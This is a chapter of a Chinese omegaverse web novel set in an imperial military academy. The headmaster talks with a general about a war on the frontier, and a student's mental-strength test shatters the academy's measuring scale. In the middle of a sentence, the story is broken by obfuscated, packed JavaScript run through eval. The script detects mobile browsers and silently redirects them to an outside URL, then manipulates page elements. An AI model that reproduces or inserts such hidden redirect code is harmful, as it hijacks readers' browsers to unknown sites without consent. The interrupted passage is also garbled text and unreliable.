第九章
此时，奥贝隆九楼，校长办公室落地窗前。
校长威尔伯和一名身穿军装的Alpha完全目睹了刚才楼下发生的一幕。
威尔伯发问：“你感受到了刚才那股信息素吗？”
“嗯。”
“那你在那股气息里感受到了什么？”
“强大…和青涩。”那军人顿了一下，望着正在上台阶的风迦又说，“她的成长值得期待。”
威尔伯意味深长的笑了一下，跟他透露那人的信息，“她就是风迦-戴维斯。”
谁知那人的表情并未发生什么改变，像只是得知了一件平平无奇的小事。
“值得期待。”他意味深长的又重复了一遍。
威尔伯和他是同一届军校生，交情斐然，只不过威尔伯很早就退役，而他如今仍然奋战在最前线，许久未见，两个老友似乎有很多话要说，但他面容冷峻，并不主动挑起话题。
“你这次回来是因为什么？”威尔伯将桌上的热茶递给他。
那人接过茶杯，走向沙发，“我的Omega发情期到了。”他在柔软的沙发里坐得笔直，热茶喝了一口就被搁置在一旁。
“那你臭着一张脸做什么，能力下降了？”威尔伯打趣道。
“没有。”他回答得正经，“马上又得回阿尔维斯，心里烦。”
“是烦没时间陪翠丝特，还是因为裂谷里的那些恶鬼？”
那人将胳膊撑在扶手上，眉目轻皱，“都有吧，我回来的时候翠丝特已经进入发情期，神志并不清明，发情期结束了，她一直在睡，我还没来得及和她吃一顿饭就得离开。”
窗外的天色逐渐暗了下来，威尔伯开了灯，照得室内明晃晃，“那你居然还有时间和我叙旧，我很感动。”
他抬眼朝威尔伯望去，挑眉，“别误会，我只是来看伊赞。”
威尔伯也无所谓失望，“那你看到了？”
“嗯，他在训练场，我隔着玻璃看了一会儿，他现在的近身格斗技巧掌握得不错。”
威尔伯同样赞赏他，“他一直是个让人放心的孩子。”
威尔伯还想和他闲聊，谁知那人突然站起身来，“我得走了，谢谢你的茶，威尔伯。”
“阿尔维斯的局势已经那么严峻，需要你时刻镇守？”
他点头，“嗯，严峻到你无法想象，如果三年内我们得不到突破，那光幕屏障还得往外退至少五十公里，「冥府之泉」的获取也越来越艰辛，我们需要更多的Alpha为帝国付出汗水甚至鲜血，波特曼人在不断的衍变，而我们还在停滞不前。”
威尔伯听完也忍不住肃然起来，“我以为有科文元帅在，情况至少不会变糟……”
“科文老了，他的血已经无法沸腾，眼界也开始变得短浅，我们军区需要革新。”他打断他的话，“威尔伯，我不是为了洛佩茨，帝国同样也需要革新，斯德林反叛后我们一直在原地踏步，而时间不会等我们。”
他的音量提高，语气就算不带一丝戾气，但还是让威尔伯感受到了威严。
阿克塞尔-洛佩茨，洛佩茨当代家主，参议院十六席位中的一员，肩章上绣着庄严的四颗星，他的地位无可比拟。
校长办公室内一时沉寂得可怕，威尔伯似乎还想问什么，阿克塞尔却已经戴好了军帽，他走过去拍拍老友的肩，“但这些都不关你的事，威尔伯，你离开军区已经很多年了，帝国军校才是你的职责所在，好好培养更多更优秀的Alpha吧，我在第一军期待你的推荐信。”
说完阿克塞尔就走出办公室，威尔伯只好将心里的问题压下去，怔在原地片刻，又跟上去将他送到电梯口，临走时还是忍不住开了口：“阿克塞尔，别和科文元帅起冲突，务必让他光荣退休。”
他在帝国军校校长这个位置已经待了快10年，尽管身上考究、昂贵的衣服把他衬得终于像个上等人，但威尔伯还是怀念那一身庄严的军装，以及和战友们握刀的炽热时光。
阿克塞尔听后轻笑，“我刚才给了你这种错觉吗？”他蓝色的眼睛紧盯着威尔伯，“我很尊敬他。”
顿了一下又说，“……至少现在是这样。”
“叮——”
电梯门打开，阿克塞尔从容的走了进去，“再会，威尔伯。”
“嗯，祝你武运昌隆，阿克塞尔。”
威尔伯送走了好友，站在电梯口久久出神。
他和阿克塞尔都在科文元帅的手下服过役，所以他是知道科文为帝国付出了什么，真的不只是什么汗水鲜血这么简单，他值得在这持续一生的暴雨里拥有最好的结局。
“叮——”
电梯门又打开了，军校老师看见陡然出现在眼前的校长，瞬间一愣。
“校长？”他出声将威尔伯唤醒神。
威尔伯眨眨眼，看向他，“卡托老师，怎么？”
面容柔和，像是刚才他只是盯了一会儿头顶的灯光，并没有陷入什么情绪里。
卡托走出电梯，站在威尔伯面前，言语恭敬，“风迦-戴维斯正在四楼接受入学特检，您要去看看吗？”
“是发生了什么事？”威尔伯问。
卡托轻点头，“嗯，现在检测室里正乱作一团。”他想到刚才发生的事，将自己的猜想重新在脑子里组织了一下措辞，开口道：“她的精神力……似乎不止S+。”
风迦也不知道怎么回事，入学手续其实都办的差不多了，该录入的信息一个没落，她甚至都接受了□□检查，以为终于可以拿到学生证，谁知在最后一步精神力检查时出了岔子。
其实也不算岔子，风迦觉得那个检测机器应该是短路了。
她安静的坐在一旁等待老师们修理还在冒烟的机器。
克莱夫站在一边，眼神斜向下看她，小声问：“你确定没做多余的事？”
风迦：“我按照你们的要求，全力释放信息素啊，还能做什么？”
“那检测仪器怎么会坏掉？”
“谁知道呢，可能老化了吧。”
克莱夫才不信这个理由，军校还能有老化的机器？像这种检测精神力的仪器又算不了高端，随便校内某个实验室都能做出来。他只是觉得不可思议，因为风迦的等级刷新了帝国记录，军校的检测仪器已经做了升级，以前最高上限只有S，现在改了之后，上限变成了S+，但在风迦站进仪器里的时候，随着她信息素的释放，等级红线瞬间跃上S+，直接到顶。
接着仪器就短路冒烟了，像崩溃爆炸一样。
此刻克莱夫望向风迦的眼神充满了困惑，她到底是什么新品种。
风迦感受到了克莱夫的视线，仰头朝他咧开一个笑，眼神清明，笑容真挚。
啧，这么一看明明是一副好学生的模样，自己真是有些昏头。克莱夫收回视线，又看向正在检修仪器的军校老师们，如此低端的机器都没办法在十分钟内修好，真是废。
正想过去指导一下时，谁知威尔伯此刻走了进来。
“校长。”检测室内的人群纷纷打招呼。
威尔伯朝他们简单挥手，算是回应，他环顾室内一圈，终于在角落的一张椅子上找到了这件事的始作俑者。
风迦早已经站起身来，面前向她走来的是一个充满绅士气质的Alpha，他就算不笑也能让人感觉到如沐春风。
“校长。”风迦颔首，不敢无礼。
“你就是风迦。”威尔伯淡淡的说出一个肯定句，“别紧张，我只是来看看你的精神力检测。”他又望向除风迦外的室内环境，“看来，不是很顺利。”
卡托在一旁接话，“校长，马上就能修好，我们又将评级提高了三档。”就是不知道有没有人能达到那个高度。
威尔伯应了，“嗯。”
又转头朝风迦说话，“你刚才在检测仪里感受到了是什么？”
风迦这次认真思索，“嗯——没有，我什么也没有感觉到，你们让我将信息素全部释放，我照做而已。”
“你没感受到一种被热水包裹住的滋味吗？“克莱夫惊讶的问她。检测者一直处于一个充满信息素的密闭空间，一般会产生慌乱的情绪，这是他们的自我保护机制，为了检测者更平稳的释放信息素，他们一般会播放一种非常舒缓的声波，帮助他们不被干扰。
“热水？”风迦再回想，但还是摇头，“我真的什么也没有感觉到。”
威尔伯心里也有疑惑，但还是开口安抚：“没事，放轻松。“”
“不过为什么还要再检测一遍，你们不相信我们戴维斯的检测结果？”风迦询问。
“并没有，只是例行检测，新生入学每个人都会有这一步。”威尔伯显得十分有耐心，“而且，我们都很好奇，S+到底能达到什么程度，你知道你是帝国的首例。”
风迦还想开口问什么，卡托告知那边的检测仪器已经改造好了。
威尔伯听后，侧身让风迦过去，“去吧，孩子，我们需要眼见为实。”
风迦大步朝着那个修好的检测仪器走去，仪器整体是个透明的圆桶状，她打开门进去站定，有工作人员上前为她佩戴好相关仪器，并关好舱门。
威尔伯在外面向她轻声的说：“像你刚才那样。”
但风迦此刻显得小心翼翼，她沉下心，将自己的信息素
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327194|183280||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
释放出来。
众人站在仪器外，看着红线缓慢升起，一直停在S+，就没了动静。
卡托正想记录，却被威尔伯拦住了手，他朝仪器内的风迦，再一次开口，“风迦，别担心，释放你全部的信息素，不用压制。”
风迦听后，闭眼吸了一口气，将神思放松，她的腺体发烫，一股浓烈的信息素霎时涌了出来。
而检测仪器在此时，红线瞬间登顶。
室内的众人紧盯着标线，瞠目结舌，他们的眼球颤动，像是看见了什么奇迹。
风迦的资料早在戴维斯投递入学申请时，就被帝国军校查得一清二楚，主要是她的过往太干净了，要知道她从出生到现在发生的所有事实在是太简单。二次分化在历史上并非没有先例，但精神力如此高的Alpha，他们还是第一次见，搭配风迦毫无亮眼的过往，军校老师们只觉得是神迹降临。
检测仪器内的人此时正靠在内壁微微松懈，她仰着脖子看头顶亮晃晃的灯光，觉得有些刺眼还用手背挡了一下，她站在里面神态自若，并不理解外面众人快惊呼出口的骇然。
克莱夫这才对自己的学生有了实质性的认知，要知道他以前在学校除了上课就是到处浑水摸鱼，这还是第一次带等级如此高的Alpha，他之前对着风迦还带着科文大人孙女的光环，但此刻，他不得不重新认识一下她，这位前所未有的高血统者。
所有人都在恍惚，只有威尔伯一人一直保持着清明，他挨了挨一旁卡托的肩膀。
“卡托，记录。”威尔伯轻笑着说。
卡托回过神，在精神力的那一栏写上了3S+。
“不，就写S+。”威尔伯提醒他。
卡托犹疑的看向校长，但他此时正望着仪器内的风迦，满眼希冀。
校长这么做肯定有这么做的道理。
卡托低下头，划掉那个3S+，改成了S+。
风迦这一次终于没有再受到什么机器短路的干扰，她完成了检测，不过老师们突然临时要开个什么会，风迦只好在走廊里等着自己的学生证。
她百无聊赖的看着墙上的光荣榜，墙上有建校开始第一批毕业生到现在的所有风云人物，她看见了不止一个戴维斯的照片被挂在最高处，她看见帝国许多耳熟能详的姓氏皆榜上有名，风迦仔细的读上面为他们撰写的生平，似乎这就是他们死后碑上的墓志铭。
“风迦有想过把自己的照片挂上去吗？“威尔伯无声的出现在风迦身后，视线跟着她一起看着墙上的照片。
风迦摇头，”不是很想。”上面大部分的人都战死沙场了，她有点怕死，也没想多么伟大。
她回过身看着威尔伯，以及身后跟着的克莱夫，眨眼问：“我现在入学了吗？”
威尔伯朝她递出手中的学生证，“当然，你现在正式成为了军校的一员。”
风迦接过，叹道：“可真不容易。”
她抚摸着手心这张金属卡片，角落铭刻着她的编号，崭新、完整，她反复摩挲。“质感不错，军校的手艺不赖。”
“凭着这张卡片，你可以享受帝国内所有交通工具的优先使用权，而且票价全免。”威尔伯脸上是和煦的笑容，他温馨地向风迦说道。
“哇哦，这福利挺好，真是非常实用！”但风迦的口吻阴阳怪气。
上得起帝国军校的人还需要这？
“咳咳~”克莱夫忍不住咳嗽两声。
威尔伯保持着微笑，“戴维斯肯定是用不上。”
他又扭头朝克莱夫说：“克莱夫老师，科文大人点名你为风迦的责任导师，希望你不会让他失望。”
克莱夫突然挺起腰板，“绝不会！”
威尔伯又看向风迦，“嗯，时间不早了，回宿舍吧。”
风迦告别了这位性情温和的校长，跟在克莱夫身后出了奥贝隆。
进去的时候明明还有太阳，出来时，校园静悄悄的，像是一座巨大的坟场。风迦看了眼腕上的时间，显示现在已经快到11点。
她有进去那么久吗？
风迦突然转身望向奥贝隆，准确的找到了威尔伯的办公室，因为他此刻正站在窗前看她，目光灼热一直在看，让风迦没办法忽视，她朝威尔伯微微屈身，然后上了克莱夫那辆小豆丁，疾驰而去。
风迦并不知道，这面玻璃是单面镜，从外看，她应该是看不见楼内的任何情形，但她准确无误的对上了威尔伯的眼睛，像是早已看穿了一切。
“真是敏锐的孩子。”他感叹道。
威尔伯离开了窗边，在刚才好友坐下的同一位置，十分随意的坐着，他此刻眉目舒展，状态惬意。